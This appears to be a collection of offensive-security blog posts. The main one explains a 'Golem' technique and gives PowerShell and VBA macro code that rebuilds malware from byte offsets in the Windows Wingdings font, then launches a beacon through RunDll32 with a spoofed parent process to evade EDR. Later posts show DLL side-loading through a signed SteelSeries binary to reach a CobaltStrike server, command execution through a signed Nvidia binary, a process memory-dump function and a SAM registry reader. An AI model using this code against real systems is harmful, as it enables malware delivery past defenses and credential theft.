dimanche 18 novembre 2018

Golem Malware - The Malware Hiding in Your Windows Fonts Folder

The "Living Off the Land" approach to hacking is to execute malicious actions from legitimate binaries already installed on the victim's endpoint. There is no need to pack any extra software in the payload baggage to transfer external files: it’s already on the victim’s computer.

Nevertheless, in many cases, a common attack would follow these steps (playskool high level steps):
  1. Deliver a file containing a payload that could contain:
    • malicious code that need to be executed
    • OR
    • non malicious code; the payload will download the malicious components in third step
  2. Convince the victim to execute the payload
  3. The payload will then:
    • execute its malicious components with the help of a LoLBIN
    • OR
    • download its malicious components then execute it with the help of a LoLBIN
I would like a solution that meets the following criteria:
  1. Does not contain any malicious code (not even malicious bytes http://www.exploit-monday.com/2011/09/dropping-executables-with-powershell.html) to go through the perimeter (mail filtering, sandboxing, etc)
  2. Does not download any malicious code
  3. Execute malicious code 
Malware generating itself from the endpoint victim's fonts
First, we need to find a component that is the same on every Windows Operating System version. I looked for this Holy Grail and found this:

I compared the Windings font between a lot of Windows versions and the font was exactly the same.

We could achieve our objective by using this font which seems to be a common item between all Windows computer. How to achieve this? The recipe would be:
  1. Collect the bytes from our malware on our computer
  2. Compare the first byte of our malware to the Wingdings font
  3. As soon as we find the same byte in the font, we record its position in a text file
  4. We repeat this process until we have found all the bytes contained in the malware and recorded their position in our text file
  5. Our payload will contain the position from the Wingdings font for each of its byte
  6. Once on the victim machine, the payload will build its malicious components by using the bytes position from the Wingdings font
The code in PowerShell to find the bytes in the font:

$Font = "C:\Windows\Fonts\wingding.ttf"
$Malware = "C:\Users\Administrator\Pictures\2.PNG"

$fontArray = Get-Content $Font -Encoding Byte -ReadCount 0
$malwareArray = Get-Content $Malware -Encoding Byte -ReadCount 0
$offsetArray = @()
foreach ($byteInMalware in $malwareArray){
    $index = 0
    foreach ($byteInFont in $fontArray) {
        if ($byteInMalware -eq $byteInFont) {
            $offsetArray += $index
PowerShell Code to generate a VBA code that you could insert in a Macro. This code will produce byte arrays that contain the position of the bytes to build your malicious component:

$payload = ""
$payDef = ""
foreach($offset in $offsetArray){  

    if($i -eq 30) {
        $payload = $payload + ", " + $offset + " _`r`n"
    else {
       if($i -eq 0) {
        $payload = $payload + $offset       
       else {
        $payload = $payload + ", " + $offset       
    if($j -eq 25)  {
        $payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
        $payload = ""
        $j = 0
if($payload -ne ""){
$payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"

The following (crappy) VBA code will use the bytes array we created to generate malicious components. The next steps of the following code is to select Explorer.exe as a parent process for RunDll32.exe (to confuse EDR products ;-)), then will execute the malicious components with RunDll32.exe (a .DLL running a PowerShell beacon from an .ICO resource). You could replace this by injecting memory processes instead of writing files to the disk. The exercise is left to the reader.

VBA code:

[...] --> you array of bytes containing the position of necessary bytes in the Windings font.
'example to join the bytes for the fist malicious component
    t1 = cc1
    t2 = cc2
    t3 = cc3
    t4 = cc4
    t5 = cc5
    t6 = cc6
    t7 = cc7
    t8 = cc8
    t9 = cc9
    t10 = cc10
    t11 = cc11
    t12 = cc12
    t13 = cc13
    t14 = cc14
    t15 = cc15
    t16 = cc16
    t17 = cc17
    t18 = cc18

    ttt = Split(Join(t1, ",") & "," & Join(t2, ",") & "," & Join(t3, ",") & "," & Join(t4, ",") & "," & Join(t5, ",") & "," & Join(t6, ",") & "," & Join(t7, ",") & "," & Join(t8, ",") & "," & Join(t9, ",") _
     & "," & Join(t10, ",") & "," & Join(t11, ",") & "," & Join(t12, ",") & "," & Join(t13, ",") & "," & Join(t14, ",") & "," & Join(t15, ",") & "," & Join(t16, ",") & "," & Join(t17, ",") & "," & Join(t18, ","), ",")

    Dim nb As Integer
    Dim nb2 As Integer
    nb = UBound(ttt) - LBound(ttt) + 1 'ttt is a joined byte array
    nb2 = UBound(tt) - LBound(tt) + 1
    nb3 = UBound(ttttttt) - LBound(ttttttt) + 1
    Dim intFileNumber As Integer
    Dim i As Integer
    Dim j As Integer
    Dim lngFileSize As Long
    Dim lngFileSize2 As Long
    Dim strBuffer As String
    Dim strBuffer2 As String
    Dim lngCharNumber As Long
    Dim lngCharNumber2 As Long
    Dim strCharacter As String * 1
    Dim strCharacter2 As String * 1
    Dim strFileName As String
    Dim strFileName2 As String
    Dim offset() As Variant
    strFileName = "C:\Windows\Fonts\wingding.ttf"
    intFileNumber = FreeFile
    Open strFileName For Binary Access Read Shared As #intFileNumber
        lngFileSize = LOF(intFileNumber)
        strBuffer = Space$(lngFileSize)
        Get #intFileNumber, , strBuffer
    Close #intFileNumber

   Dim nFileNum As Long
   Dim sFilename As String
   Dim ind As Long
   sFilename2 = "C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary that will be use to select the parent of rundll32
   sFilename = "C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will run powershell beacon from an image
   sFilename3 = "C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beacon registered in an .ICO
   nFileNum = FreeFile
   ' a loop would be better ;-)
   Open sFilename2 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb - 1
        ind = lngCharNumber + 1
        off = ttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   nFileNum = FreeFile
   Open sFilename For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb2 - 1
        ind = lngCharNumber + 1
        off = tt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   nFileNum = FreeFile
   Open sFilename3 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb3 - 1
        ind = lngCharNumber + 1
        off = ttttttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
End Sub

Sub rr()
  Dim xx As String
  Dim oihfasf As Object, eopuf As Object, kdj As Object
  Dim oDic As Object, a() As Variant
  Dim pskaf As Integer
  Set oDic = CreateObject("Scripting.Dictionary")

  xx = "."

  Set oihfasf = GetObject("winmgmts:\\" _
      & xx & "\root\CIMV2")
  Set eopuf = oihfasf.ExecQuery _
      ("Select Name, ProcessID FROM Win32_Process", , 48)

  For Each kdj In eopuf
      If (kdj.Properties_("Name").Value) = "explorer.exe" Then
          pskaf = (kdj.Properties_("ProcessID").Value)
      End If
Dim t As Date

Dim cnt As Long
Dim arr(2) As Byte

Dim xl As String
xl = "C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exe C:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -f C:\Users\Public\Documents\BEACON.ico"" " & pskafxx = "."
Set ow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")
Set os = ow.Get("Win32_ProcessStartup")
Set oc = os.SpawnInstance_
Set op = GetObject("winmgmts:\\" & xx & "\root\cimv2:Win32_Process")
op.Create xl, Null, oc, aslh

End Sub
Sub AutoOpen()
End Sub
Sub Workbook_Open()
End Sub

That's all Folks!

mardi 24 avril 2018

Side Loading Dll with a SteelSeries Signed Binaries

I'm a gamer. I bought one of the awesome SteelSeries Sensei [RAW] Mouse.

This is an awesome mouse perfect to micro your units in SC2 :-)

So I looked around the installation of the SteelSeries Engine 3 software which allows to manage your device: "SteelSeries Engine 3 talks directly to your game, which changes your device's illumination in real time, based off of in-game events.".

In the installation folder, I found the following interesting binary:


This binary is digitally signed by SteelSeries:

I tried to run it and I got the following error:

The binary win_driver_installer.exe tried to load SSEdevice.dll which is also signed.

So I forged a C++ .dll that leverages a PowerShell payload and tries to connect to one of my CobaltStrike server and I tried to make it side loaded by win_driver_installer.exe but unfortunately I got this new error:

I changed my entry point in my .dll:

I checked the export worked:

I ran again and... bingo I have a beacon!

That's all folks!

lundi 23 avril 2018

Running system commands through Nvidia signed binaries

A while ago, when working on PowerMemory, I discovered a hidden account configured by Nvidia on one of my computers (https://twitter.com/pabraeken/status/651369704746020864).

Then, when I come into the awesome Hexacorn article "Reusigned Binaries – Living off the signed land" (http://www.hexacorn.com/blog/2017/11/10/reusigned-binaries-living-off-the-signed-land/), I was super excited :-)

I started looking for other similar binaries developed by Nvidia that could execute system commands with the legitimacy of Nvidia.

I found this one:

Running it looked very promising:

The list of commands includes all the one found by Hexacorn
"AddUninstall, Call, CheckPath, CheckRAID, ClassSweep, Copy, CopyV, CreateDevice, CreateShortcut, Del, DelBoot, DelBootQuiet, DelIniIfMatched, DelOemInfs, DelReg, DelRegE, DirAndApply, Echo, EnumDevices, EnumRegCmd, EnumRegNamesCmd, Eval, FindOEMInf, GetDrivePort, GetFolderPath, GetInfGUID, GetReg, Help, If, InstallDriver, InstallDriverEx, KillApp, RemoveDevice, Run, RunOnce, SendMessage, Set, SetEnv, SetReg, Sleep, Splash, StartLogging, StopLogging, SysCallAndWait, System, UnifyUninst, Uninstall, UnInstallEx, UninstallGUI, UninstallService, WaitOnRegDel"
+ These one:

"Decrement Increment DisplayControlPanel AskToCloseAndExitIfRunning RemoveDriverStore RemoveDeviceEx DisableDevice RemoveUpperFilter StopService RmString DelAll"

Here is the description for all commands:

  • Decrement: Decrements a variable numerically.
  • Increment: Increments a variable numerically.
  • DisplayControlPanel:  Displays message about Display Control Panel uninstall.
  • AskToCloseAndExitIfRunning: Given an application name, enumerates all running application for a match. If found, prompts the user to close the application.
  • RemoveDriverStore: Remove any device matched with the given description from the system using setupdi calls. Enum can be (PCI, EISA, etc), HWID usually is VEN_10DE and device type can be DISPLAY, HDC, MEDIA, NET, SYSTEM.
  • RemoveDeviceEx: Remove any device matched with the given description from the system using setupdi calls. Enum can be (PCI, EISA, etc), HWID usually is VEN_10DE and device type can be DISPLAY, HDC, MEDIA, NET, SYSTEM.
  • DisableDevice: Disable any device matched with the given description from the system using setupdi calls. Enum can be (PCI, EISA, etc), HWID usually is VEN_10DE and device type can be DISPLAY, HDC, MEDIA, NET, SYSTEM.
  • RemoveUpperFilter: Remove filter service from any devices that specify it.
  • StopService: Uninstalls the given service name. 
  • RmString: Removes the string from the original string of words if found and saves the result in new variable.
  • DelAll: Delete the given folder if it exists, it also deletes the contents within the folder.
Running calc.exe

Dumping the manifest shows us that the file requires Administrator privileges (exactly like the binaries nvuhda.exe and nvuhda6.exe described by Hexacorn).

 Sigcheck -m nvudisp.exe

This is a promising avenue to explore and could be used by real attackers to break standard EDR detection rules.

That's all folks!

samedi 6 février 2016

RSA with PowerShell - PowerRSA


Based on this very good article (http://www.di-mgt.com.au/rsa_alg.html), I have implemented a RSA algorithm.

The code : https://github.com/giMini/PowerRSA/blob/master/PowerRSA.ps1

Caution : I did it for fun. Don't use it in production ;-) For the demo, I encrypt directly the data, in the real world, you encrypt the symetric key (which you exchange between Sender and Recipient) that will encrypt the data.

Generate the keys 

To generate the Modulus, the private key and the public key, enter this command

.\PowerRSA.ps1 -Method GenKeys 

PowerRSA will generate the necessary keys
PS F:\Crypto> .\PowerRSA.ps1 -Method GenKeys
Keys generating...

Keys saved in F:\Crypto\20160206104626 

and save them in a folder

Example of the Modulus generated

To generate a 2048-bit key :

.\PowerRSA.ps1 -Method GenKeys -KeyType 2048-bit

How I do it

"This is the original algorithm.
  1. Generate two large random primes, p and q, of approximately equal size such that their product n = pq is of the required bit length, e.g. 1024 bits.
  2. Compute n = pq and (phi) φ = (p-1)(q-1).
  3. Choose an integer e, 1 < e < phi, such that gcd(e, phi) = 1.
  4. Compute the secret exponent d, 1 < d < phi, such that ed ≡ 1 (mod phi).
  5. The public key is (n, e) and the private key (d, p, q). Keep all the values d, p, q and phi secret. [We prefer sometimes to write the private key as (n, d) because you need the value of n when using d. Other times we might write the key pair as ((N, e), d).]
    • n is known as the modulus.
    • e is known as the public exponent or encryption exponent or just the exponent.
    • d is known as the secret exponent or decryption exponent."

For length k required of 2048 bits

  1. I generate big (128 bytes) random number p and check if it is a Prime number with Rabbin-Miller algorithm
  2. I generate big (128 bytes) random number q and check if it is a Prime number with Rabbin-Miller algorithm
  3. I compute n (modulus) which is p * q
  4. I compute φ (PHI) which is (p-1)*(q-1)
  5. We choose 65537 or 10001 in Hex for Exponent Public Key(why ? In practice, common choices for e are 3, 5, 17, 257 and 65537 (216+1). These particular values are chosen because they are primes and make the modular exponentiation operation faster, having only two bits of value 1.
    Aside: These five numbers are the first five Fermat numbers, referred to as F0 to F4, where Fx=2^(2^x)+1. Just be careful, these first five Fermat numbers are prime ("Fermat primes"), but the numbers F5 and above are not prime. 
    For example, F5 = 4294967297 = 641 × 6700417.
    The usual choice for e is F4 = 65537 = 0x10001. Also, having chosen e, it is simpler to test whether gcd(e, p-1)=1 and gcd(e, q-1)=1 while generating and testing the primes in step 1. Values of p or q that fail this test can be rejected there and then. )
  6.  I compute d which is the Exponent Private Key using the Extended Euclidean algorithm 

Encrypt data

To encrypt data using PowerRSA enter this command

.\PowerRSA.ps1 -Method Enc -Exponent F:\Crypto\20160206104626\PublicKey -Modulus F:\Crypto\20160206104626\Modulus 

Enter the data string to encrypt :

Enter message to encrypt: Hi! I'm an encrypted data string 

PowerRSA will encrypt data :
PS F:\Crypto> .\PowerRSA.ps1 -Method Enc -Exponent F:\Crypto\20160206104626\PublicKey -Modulus F:\Crypto\20160206104626\Modulus
Enter message to encrypt: Hi! I'm an encrypted data string :-)
Data saved in F:\Crypto\20160206110641 

and save it in a folder

Encrypted data looks like that 

How I do it

"Sender A does the following:-

Obtains the recipient B's public key (n, e).
Represents the plaintext message as a positive integer m, 1 < m < n [see note 4].
Computes the ciphertext c = me mod n.
Sends the ciphertext c to B."

With the public key (which is composed of the Modulus and the Public Exponent), I encrypt the data string provided.

To crypt it and for each character: 
  1. I transform character into an integer representation
  2. I generate a Random Padding 
  3. I concatenate the integer character representation with the random padding = m
  4. I encrypt the concatenation result by compute c = me % n where c is the encrypted character, m = the concatenate integer character with random padding, e = the public Exponent key and n = the Modulus

Decrypt data

To decrypt data using PowerRSA enter this command

.\PowerRSA.ps1 -Method Dec -Data F:\Crypto\20160206110641\Data -Exponent F:\Crypto\20160206104626\PrivateKey -Modulus F:\Crypto\20160206104626\Modulus 

PowerRSA will decrypt the data :
PS F:\Crypto> .\PowerRSA.ps1 -Method Dec -Data F:\Crypto\20160206110641\Data -Exponent F:\Crypto\20160206104626\PrivateKey -Modulus F:\Crypto\20160206104626\Modulus
Hi! I'm an encrypted data string :-) 

How I do it

"Recipient B does the following:-

Uses his private key (n, d) to compute m = cd mod n.
Extracts the plaintext from the message representative m."

With the private key (which is composed of the Modulus and the Private Exponent), I decrypt the data string provided.
  1. I decrypt the encoded string by compute m = cd % n
  2. I remove the random padding
  3. I transform the integer into its character representation

samedi 12 septembre 2015

PowerShell - dbghelp reflexion to write a MiniDump

function Write-MiniDumpDBGHelp ($process, $dumpFilePath){
    $MethodDefinition = @'
[DllImport("DbgHelp.dll", CharSet = CharSet.Unicode)]
public static extern bool MiniDumpWriteDump(
    IntPtr hProcess,
    uint processId,
    IntPtr hFile,
    uint dumpType,
    IntPtr expParam,
    IntPtr userStreamParam,
    IntPtr callbackParam

    $dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name 'dbghelp' -Namespace 'Win32' -PassThru

    $miniDumpWithFullMemory = [UInt32] 2

    $processId = $process.Id
    $processName = $process.Name
    $processHandle = $process.Handle
    $processFileName = "$($processName).dmp"

    $processDumpPath = "$dumpFilePath\$processFileName"

    $fileStream = New-Object IO.FileStream($processDumpPath, [IO.FileMode]::Create)
        $result = $dbghelp::MiniDumpWriteDump($processHandle,$processId,$fileStream.SafeFileHandle.DangerousGetHandle(),$miniDumpWithFullMemory,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
        if(!$result) {
            Write-Host "Error : cannot dump the process" -ForegroundColor Red
        Write-Host "Error : cannot dump the process" -ForegroundColor Red

lundi 3 août 2015

PowerShell - Get username, Logon Date, Password Last Set and Creation date of local users

Hi !

Here's a little PowerShell script to retrieve from the registry the username, Logon Date, Password Last Set and Creation date of the local users on a windows computer.

You can find here : https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Get-username-fdcb6990

# Thanks to Boe Prox for his Get-RegistryKeyTimestamp function (https://gallery.technet.microsoft.com/scriptcenter/Get-RegistryKeyLastWriteTim-63f4dd96)
function Get-RegistryKeyTimestamp {
        DefaultParameterSetName = 'ByValue'
    Param (
        [parameter(ValueFromPipeline=$True, ParameterSetName='ByValue')]
    Begin {
        #region Create Win32 API Object
        Try {
        } Catch {
            #region Module Builder
            $Domain = [AppDomain]::CurrentDomain
            $DynAssembly = New-Object System.Reflection.AssemblyName('RegAssembly')
            $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) # Only run in memory
            $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('RegistryTimeStampModule', $False)
            #endregion Module Builder

            #region DllImport
            $TypeBuilder = $ModuleBuilder.DefineType('advapi32', 'Public, Class')

            #region RegQueryInfoKey Method
            $PInvokeMethod = $TypeBuilder.DefineMethod(
                'RegQueryInfoKey', #Method Name
                [Reflection.MethodAttributes] 'PrivateScope, Public, Static, HideBySig, PinvokeImpl', #Method Attributes
                [IntPtr], #Method Return Type
                [Type[]] @(
                    [Microsoft.Win32.SafeHandles.SafeRegistryHandle], #Registry Handle
                    [System.Text.StringBuilder], #Class Name
                    [UInt32 ].MakeByRefType(),  #Class Length
                    [UInt32], #Reserved
                    [UInt32 ].MakeByRefType(), #Subkey Count
                    [UInt32 ].MakeByRefType(), #Max Subkey Name Length
                    [UInt32 ].MakeByRefType(), #Max Class Length
                    [UInt32 ].MakeByRefType(), #Value Count
                    [UInt32 ].MakeByRefType(), #Max Value Name Length
                    [UInt32 ].MakeByRefType(), #Max Value Name Length
                    [UInt32 ].MakeByRefType(), #Security Descriptor Size          
                    [long].MakeByRefType() #LastWriteTime
                ) #Method Parameters

            $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
            $FieldArray = [Reflection.FieldInfo[]] @(      

            $FieldValueArray = [Object[]] @(
                'RegQueryInfoKey', #CASE SENSITIVE!!

            $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(

            #endregion RegQueryInfoKey Method

            #endregion DllImport
        #endregion Create Win32 API object
    Process {
        #region Constant Variables
        $ClassLength = 255
        [long]$TimeStamp = $null
        #endregion Constant Variables

        #region Registry Key Data
        If ($PSCmdlet.ParameterSetName -eq 'ByPath') {
            #Get registry key data
            $RegistryKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($RegistryHive, $Computername).OpenSubKey($SubKey)
            If ($RegistryKey -isnot [Microsoft.Win32.RegistryKey]) {
                Throw "Cannot open or locate $SubKey on $Computername"

        $ClassName = New-Object System.Text.StringBuilder $RegistryKey.Name
        $RegistryHandle = $RegistryKey.Handle
        #endregion Registry Key Data

        #region Retrieve timestamp
        $Return = [advapi32]::RegQueryInfoKey(
        Switch ($Return) {
            0 {
               #Convert High/Low date to DateTime Object
                $LastWriteTime = [datetime]::FromFileTime($TimeStamp)

                #Return object
                $Object = [pscustomobject]@{
                    FullName = $RegistryKey.Name
                    Name = $RegistryKey.Name -replace '.*\\(.*)','$1'
                    LastWriteTime = $LastWriteTime
            122 {
                Throw "ERROR_INSUFFICIENT_BUFFER (0x7a)"
            Default {
                Throw "Error ($return) occurred"
        #endregion Retrieve timestamp

function Get-UserName([byte[]]$V) {
    if (-not $V) {return $null};
    $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
    $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
    return [Text.Encoding]::Unicode.GetString($V, $offset, $len);

function Get-LastLogonDate([byte[]]$F) {
    $lastLogon = ""   
    $hexLastLogon = @()   
    while($i -lt $F.Length) {
        if($i -eq 8 -or ($i -gt 7 -and $i -lt 16)) {
            $lastLogon = $lastLogon + $F[$i]
            $hexLastLogon += '{0:X2}' -f $F[$i]       

    $i=$hexLastLogon.Length - 1
    $lastLogon = ""
    while($i -ge 0) {
        $lastLogon = $lastLogon + $hexLastLogon[$i]
    $lastLogon = "0x$lastLogon"
    return $lastLogon

function Get-PasswordLastSet([byte[]]$F) {
    $passwordLastSet = ""
    $hexPasswordLastSet = @()
    while($i -lt $F.Length) {
        if($i -eq 24 -or ($i -gt 23 -and $i -lt 32)) {
            $passwordLastSet = $passwordLastSet + $F[$i]
            $hexPasswordLastSet += '{0:X2}' -f $F[$i] 

  $i=$hexPasswordLastSet.Length - 1
    $passwordLastSet = ""
    while($i -ge 0) {
        $passwordLastSet = $passwordLastSet + $hexPasswordLastSet[$i]
    $passwordLastSet = "0x$passwordLastSet"
    return $passwordLastSet

function Get-LastWriteTime($key) {
    $RegistryKey = Get-Item $key
    $extendExport = $RegistryKey | Get-RegistryKeyTimestamp   
    return $extendExport
function Get-UserKeys {
    ls HKLM:\SAM\SAM\Domains\Account\Users |
        where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
            Add-Member AliasProperty KeyName PSChildName -PassThru |           
            Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
            Add-Member ScriptProperty LastLogonDate {Get-LastLogonDate($this.GetValue("F"))} -PassThru |
            Add-Member ScriptProperty PasswordLastSet {Get-PasswordLastSet($this.GetValue("F"))} -PassThru

$localUsers = Get-UserKeys| %{
    $logonDate = $([datetime]::FromFileTime($_.LastLogonDate).ToLocalTime())
    $passwordLastSet = $([datetime]::FromFileTime($_.PasswordLastSet).ToLocalTime())
    $subkey = $_.UserName
    $RegistryKey = Get-Item "HKLM:\SAM\SAM\Domains\Account\Users\Names\$subkey"
    $extendExport = $RegistryKey | Get-RegistryKeyTimestamp
    $lastWriteTime = $($extendExport.LastWriteTime.ToLocalTime())
    "{0}::{1}::{2}::{3}" -f ($_.UserName,$logonDate,$passwordLastSet,$lastWriteTime)}
"{0}::{1}::{2}::{3}" -f ("UserName","LogonDate","PasswordLastSet","LastWriteTime")

Result : 

Administrator::7/26/2012 3:22:17 AM::7/26/2012 3:27:03 AM::8/1/2015 10:10:34 AM
Guest::12/31/1600 7:00:00 PM::12/31/1600 7:00:00 PM::8/1/2015 10:10:34 AM
Test1::12/31/1600 7:00:00 PM::10/20/2013 3:53:30 AM::8/2/2015 4:36:30 PM
Test2::8/19/2013 1:30:05 AM::7/24/2013 3:47:52 PM::8/1/2015 10:10:34 AM
Test3::6/11/2015 7:16:26 PM::3/18/2015 5:12:51 PM::8/1/2015 10:10:34 AM
TestRegistry::8/1/2015 3:42:15 PM::8/1/2015 4:53:47 PM::8/1/2015 12:39:58 PM 

Enjoy !